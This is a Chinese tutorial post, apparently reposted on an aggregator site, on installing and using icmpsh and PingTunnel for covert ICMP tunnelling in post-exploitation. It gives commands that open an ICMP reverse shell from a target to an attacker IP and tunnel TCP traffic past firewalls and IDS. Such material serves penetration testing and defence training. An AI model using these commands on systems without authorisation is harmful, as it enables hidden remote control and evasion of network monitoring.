icmpsh、PingTunnel--安裝、使用

用途限制聲明,本文僅用于網絡安全技術研究、教育與知識分享。文中涉及的滲透測試方法與工具,嚴禁用于未經授權的網絡攻擊、數據竊取或任何違法活動。任何因不當使用本文內容導致的法律后果,作者及發布平臺不承擔任何責任。滲透測試涉及復雜技術操作,可能對目標系統造成數據損壞、服務中斷等風險。讀者需充分評估技術能力與潛在后果,在合法合規前提下謹慎實踐。

在我的上一篇文章中,介紹了內網后滲透攻擊--隱藏通信隧道技術(網絡層隧道技術)-CSDN博客

網絡層隧道技術相關技術點,那么現在就要介紹相關工具的使用,這里我們主要介紹兩個工具。一個是icmpsh,另一個PingTunnel,這兩個工具主要是ICMP隧道工具,接下來詳細介紹這兩個工具

一、icmpsh

1、工具介紹

icmpsh 是一款基于 ICMP 協議實現的反向 shell 工具,主要用于網絡滲透測試中建立隱蔽的命令行連接。其核心特點是利用 ICMP 協議(即 ping 命令所依賴的網絡層協議)傳輸數據,而非傳統的 TCP/UDP 端口,因此能繞過部分僅限制端口的防火墻規則(許多網絡環境默認允許 ICMP 流量通過)。

在滲透測試場景中,當目標主機的 TCP/UDP 端口被嚴格封鎖,但 ICMP 協議未被過濾時,icmpsh 可作為突破網絡限制、獲取目標主機控制權的輔助工具。

2、工作原理

icmpsh 的核心原理是 “濫用” ICMP 協議的 Echo Request(請求,類型 8)和 Echo Reply(回復,類型 0)報文:

  1. 通信角色:分為 “攻擊機”(控制端)和 “目標機”(被控端)。
  2. 命令傳輸
    • 攻擊機向目標機發送ICMP Echo Request 報文,報文中嵌入需要執行的命令(如whoamiipconfig等)。
    • 目標機接收后,執行命令并將結果通過ICMP Echo Reply 報文返回給攻擊機。
  3. 隱蔽性:由于 ICMP 協議本身用于網絡診斷(如 ping 測試),其流量通常不被視為 “危險流量”,因此不易被防火墻或入侵檢測系統(IDS)攔截。
3、安裝

下載地址:GitHub - bdamele/icmpsh: Simple reverse ICMP shell

icmpsh 主要通過 Python 腳本實現,需在攻擊機(通常為 Linux)和目標機(支持 Windows/Linux)分別部署。

1. 攻擊機(以 Linux 為例)

(1)依賴環境:需安裝 Python 2.x(部分版本兼容 Python 3,建議優先用 Python 2)和python-impacket庫(用于處理網絡數據包)。
(2)下載工具:

git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket #安裝python的impacket類庫
pip install impacket  #此命令也行
cd icmpsh

(3)關閉系統自帶的 ICMP 響應(避免系統默認 ping 回復干擾工具通信):

# Linux系統
sysctl -w net.ipv4.icmp_echo_ignore_all=1

2. 目標機(以 Windows 為例)

(1)需準備 icmpsh 的 Windows 可執行文件(icmpsh.exe),可通過攻擊機編譯或直接下載預編譯版本:

  • 從攻擊機的icmpsh目錄中,將icmpsh.exe(若不存在,可通過mingw32編譯icmpsh.c生成)上傳至目標機,也就是說將下載文件夾中的icmpsh.exe文件放在目標機,而其它放在攻擊機
4、使用

攻擊機 IP 為192.168.1.100,目標機 IP 為192.168.1.200

1. 攻擊機操作(啟動監聽)

在攻擊機的icmpsh目錄中,運行sh文件,輸入IP地址

./run.sh

此時攻擊機進入監聽狀態,等待目標機連接。

2. 目標機操作(主動連接)

在目標機上執行icmpsh.exe,指定攻擊機 IP:

# Windows命令行中運行
icmpsh.exe -t 192.168.1.100 -d 500 -b 32

  • 參數說明:-t指定攻擊機 IP;-d設置延遲(毫秒);-b設置數據包大小(字節)。
3. 建立連接后

連接成功后,攻擊機將獲得目標機的命令行交互權限,可直接執行系統命令(如dirtasklist等),命令結果會通過 ICMP 報文返回。

此工具還是可以的,但是其工具有點久遠了,其腳本還是使用python2編寫的。

二、PingTunnel

1、工具介紹

PingTunnel 是一款基于 ICMP 協議(即 ping 命令所使用的網絡協議)的流量封裝工具,其核心功能是將 TCP/UDP 等其他協議的流量 “偽裝” 成 ICMP Echo Request/Reply(ping 請求 / 應答)包進行傳輸,從而繞過部分網絡環境中對 TCP/UDP 端口的限制(例如防火墻僅允許 ICMP 流量通過的場景)。

它常被用于以下場景:

  • 繞過網絡防火墻對特定端口的封鎖;
  • 在受限網絡中建立隱蔽的通信通道;
  • 測試網絡設備對 ICMP 流量的過濾規則。
2、工作原理

ICMP 協議是 TCP/IP 協議族的一部分,主要用于網絡診斷(如 ping 命令檢測主機可達性),通常網絡設備對 ICMP 流量的限制較松。

PingTunnel 的工作原理如下:

  1. 客戶端封裝:客戶端將需要傳輸的 TCP/UDP 數據(如 HTTP、SSH 流量)拆解后,封裝到 ICMP Echo Request 包(ping 請求)的數據字段中,發送給服務器端;
  2. 服務器端解封裝:服務器端接收 ICMP 包后,提取其中的 TCP/UDP 數據,轉發到目標服務(如目標服務器的 80 端口、22 端口);
  3. 反向傳輸:目標服務的響應數據通過服務器端封裝成 ICMP Echo Reply 包(ping 應答),回傳給客戶端,完成一次通信。

通過這種 “ICMP 封裝” 機制,原本被限制的流量可借助 ping 包的形式繞過過濾規則.

3、安裝

下載地址:Releases · esrrhs/pingtunnel · GitHub

PingTunnel 支持 Linux、Windows 等系統,以下是主流平臺的安裝方法:

1. Linux 系統(以 Ubuntu/Debian 為例)

需通過源碼編譯安裝,依賴libpcap庫(用于網絡數據包捕獲):

# 安裝依賴
sudo apt update && sudo apt install -y gcc make libpcap-dev# 下載源碼(官方倉庫或第三方鏡像)
git clone https://github.com/esrrhs/pingtunnel.git #下載的主要是go語言編寫
cd pingtunnel# 安裝(可選,將可執行文件復制到系統路徑)
sudo cp pingtunnel /usr/local/bin/

2. Windows 系統

可直接下載預編譯的二進制文件(需從可信來源獲取,如官方發布頁),或通過 MinGW 編譯源碼:

  • 預編譯版:下載pingtunnel.exe后,放入任意目錄(如C:\tools),并將該目錄添加到系統環境變量PATH中,即可在命令行直接調用。

這里我們就演示windows版本,如圖所示

4、使用

PingTunnel 的使用需區分服務端(Server)?和客戶端(Client),兩者配合完成流量轉發。

客戶端通過 PingTunnel 訪問服務端所在網絡的80端口服務(apache2服務)。

  1. 服務端配置
    linux啟動服務端:
# Linux服務端
./pingtunnel -type server -key 123456
參數說明:
-type server:以服務端模式運行
-key 123456:設置密碼(純數字,客戶端需一致,增強安全性)
無需額外指定-d和-dp(默認會根據客戶端請求轉發到目標地址,此處目標就是服務端自身 80 端口)

客戶端配置
在本地客戶端(如個人電腦)啟動客戶端,監聽本地8080端口,連接服務端:

./pingtunnel.exe -type client -l 192.168.0.104:8080 -s 172.19.214.174 -t 172.19.214.174:80 -tcp 1 -key 123456
參數說明
-type client:以客戶端模式運行
-l 192.168.0.104:8080:客戶端本地監聽地址(之后訪問此地址即可轉發到服務端 80 端口)
-s 172.19.214.174:服務端 IP 地址(隧道的中間節點)
-t 172.19.214.174:80:目標地址(服務端自身的 80 端口)
-tcp 1:開啟 TCP 轉發(因為 80 端口是 TCP 服務)
-key 123456:與服務端一致的密碼

使用轉發通道
客戶端本地應用連接192.168.0.104:8080,即可通過 PingTunnel 訪問服務端80

ok,以上就是兩款工具的使用介紹了,下一篇介紹傳輸層隧道技術。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/93439.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/93439.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/93439.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

系統思考:情緒內耗與思維模式

我們正在努力解決的問題,很多時候,根源就在我們自己。 在日常的工作和生活中,我們常常感到焦慮、內耗和失控。這些情緒和狀態,似乎總是在不斷循環。但如果停下來仔細思考,會發現,問題的背后,并不…

詳解grafana k6 中stage的核心概念與作用

在Grafana k6中,??Stage(階段)?? 是負載測試腳本的核心配置概念,用于動態控制虛擬用戶(VUs)的數量隨時間的變化。通過定義多個階段,用戶可以模擬真實場景中的流量波動(如用戶逐步…

JS 和 JSX 的區別

JS 和 JSX 是兩種不同的概念,盡管它們都與 JavaScript 密切相關,尤其是在 React 開發中。以下是它們的主要區別:1. 定義JS (JavaScript): 一種通用的編程語言,用于開發動態網頁、服務器端應用程序等。它是標準的 ECMAScript 語言。…

Linux軟件編程-進程(2)及線程(1)

1.進程回收資源空間&#xff08;1&#xff09;wait函數頭文件&#xff1a;#include <sys/types.h>#include <sys/wait.h>函數接口&#xff1a;pid_t wait(int *wstatus);功能&#xff1a;阻塞等待回收子進程的資源空間參數&#xff1a;wstatus &#xff1a;保存子進…

java 集合 之 集合工具類Collections

前言早期開發者經常需要對集合進行各種操作比如排序、查找最大最小值等等但是當時沒有統一的工具類來處理所以導致代碼重復且容易出錯java.util.Collections 工具類的引入為開發者提供了大量 靜態方法 來操作集合它就像一個經驗豐富的助手和數組工具類 Arrays 一樣避免了我們重…

2025 年電賽 C 題 發揮部分 1:多正方形 / 重疊正方形高精度識別與最小邊長測量

2025 年全國大學生電子設計競賽 C 題 發揮部分 1&#xff1a;多正方形 / 重疊正方形高精度識別與最小邊長測量 香橙派 OpenCV C 全流程解析 目錄 賽題背景與需求技術難點全景圖系統總體架構硬件平臺與接線軟件架構與線程模型算法流水線逐幀拆解 6.1 圖像預處理6.2 輪廓提取與…

【自動駕駛】自動駕駛概述 ② ( 自動駕駛技術路徑 | L0 ~ L5 級別自動駕駛 )

文章目錄一、自動駕駛技術路徑1、L0 級別 自動駕駛2、L1 級別 自動駕駛3、L2 級別 自動駕駛4、L3 級別 自動駕駛5、L4 級別 自動駕駛6、L5 級別 自動駕駛一、自動駕駛技術路徑 美國汽車工程師學會 ( SAE ) 將 自動駕駛 分為 L0 ~ L5 六個級別 : 其中 L0 級別 是 完全手動 , L5…

C++少兒編程(二十二)—條件結構

1.理解條件結構小朋友們&#xff0c;今天讓我們一起來探索一個神奇而有趣的知識——程序的條件結構&#xff01;首先&#xff0c;讓我們來想象一個有趣的場景。比如說&#xff0c;你們正在準備去公園玩耍。在出發之前&#xff0c;你們會看看天氣怎么樣。如果天氣晴朗&#xff0…

Ubuntu20.04下Px4使用UORB發布消息

1 .msg文件夾定義數據類型及 變量名文件位置如圖&#xff0c;在PX4-Autopilot/msg文件夾下&#xff0c;筆者創建的文件名為gps_msg.msggps_msg.msg內容如下 uint64 timestamp # 時間戳 float32 latitude float32 longitude float32 altitude 同時&#xff0c;在CM…

three.js學習記錄(第二節:鼠標控制相機移動)

效果展示&#xff1a; 鼠標控制一、鼠標控制 - 軌道控制器&#xff08;OrbitControls&#xff09; 1. 從nodeModules中導入OrbitControls&#xff0c;OrbitControls 是一個附加組件&#xff0c;必須顯式導入 import { OrbitControls } from "three/examples/jsm/controls/…

Shortest Routes II(Floyd最短路)

題目描述There are n cities and m roads between them. Your task is to process q queries where you have to determine the length of the shortest route between two given cities.輸入The first input line has three integers n, m and q: the number of cities, roads…

分享一個基于Hadoop的二手房銷售簽約數據分析與可視化系統,基于Python可視化的二手房銷售數據分析平臺

&#x1f495;&#x1f495;作者&#xff1a;計算機源碼社 &#x1f495;&#x1f495;個人簡介&#xff1a;本人八年開發經驗&#xff0c;擅長Java、Python、PHP、.NET、Node.js、Spark、hadoop、Android、微信小程序、爬蟲、大數據、機器學習等&#xff0c;大家有這一塊的問題…

STM32的PWM

PWM作為硬件中幾乎不可或缺的存在&#xff0c;學會 PWM&#xff0c;等于打通了 STM32 的“定時器體系”。學一次&#xff0c;STM32 全系列&#xff08;甚至 AVR、PIC、ESP32&#xff09;都能通用。硬件只要一個 I/O 就能驅動功率模塊&#xff0c;非常省成本。不會 PWM&#xff…

OpenCompass傻瓜式入門教程

文章目錄1 我也許不是傻瓜&#xff0c;卻只想做個傻瓜2 環境要求3 安裝3.1 下載源碼3.2 創建虛擬環境3.3 安裝4 下載數據5 查看支持的模型和數據集6 評測6.1 指定模型路徑6.2 指定配置文件6.2.1 評測本地qwen2.5模型6.2.1.1 查看opencompass支持的qwen2.5模型6.2.1.2 創建配置文…

【軟件測試】電商購物項目-各個測試點整理(三)

目錄&#xff1a;導讀 前言一、Python編程入門到精通二、接口自動化項目實戰三、Web自動化項目實戰四、App自動化項目實戰五、一線大廠簡歷六、測試開發DevOps體系七、常用自動化測試工具八、JMeter性能測試九、總結&#xff08;尾部小驚喜&#xff09; 前言 1、優惠券的測試點…

流處理、實時分析與RAG驅動的Python ETL框架:構建智能數據管道(上)

> **2025年某電商大促,每秒20萬訂單涌入系統**——他們的風控團隊僅用**47毫秒**就識別出欺詐交易。背后的秘密武器,正是融合流處理、實時分析與RAG的下一代Python ETL框架。 ### 一、范式革命:從批處理到AI增強的ETL 4.0 #### 1.1 數據處理演進史 ```mermaid graph LR …

開源 Arkts 鴻蒙應用 開發(十五)自定義繪圖控件--儀表盤

文章的目的為了記錄使用Arkts 進行Harmony app 開發學習的經歷。本職為嵌入式軟件開發&#xff0c;公司安排開發app&#xff0c;臨時學習&#xff0c;完成app的開發。開發流程和要點有些記憶模糊&#xff0c;趕緊記錄&#xff0c;防止忘記。 相關鏈接&#xff1a; 開源 Arkts …

???????中國工業企業專利及引用被引用數據說明

1319 中國工業企業專利及引用被引用數據說明數據簡介專利近年發文趨勢及主題分布今天數據皮皮俠團隊為大家分享一份2023年12月25日最新更新的中國工業企業專利及引用被引用數據&#xff0c;供大家研究使用。數據來源原始數據來源于國家統計局&#xff0c;由皮皮俠團隊整理計算。…

MySQL知識點(上)

MySQL知識點 一&#xff1a;MySQL概述 MySQL是一款開源的數據庫軟件&#xff0c;是一種關系型數據庫管理系統&#xff08;ROBMS&#xff09;&#xff0c;也叫做表數據庫管理系統 如果需要快速安全地處理大量的數據&#xff0c;則必須使用數據庫管理系統&#xff1b;任何基于數據…

shell腳本實現sha256sum校驗并拷貝校驗通過的文件

#!/bin/bash# 目標目錄 TARGET_DIR"/appdata/jn1m/versions/old/bin"# 校驗文件 CHECKSUM_FILE"checksum.txt"# 檢查目標目錄是否存在 if [ ! -d "$TARGET_DIR" ]; thenecho "錯誤&#xff1a;目標目錄 $TARGET_DIR 不存在"exit 1 fi#…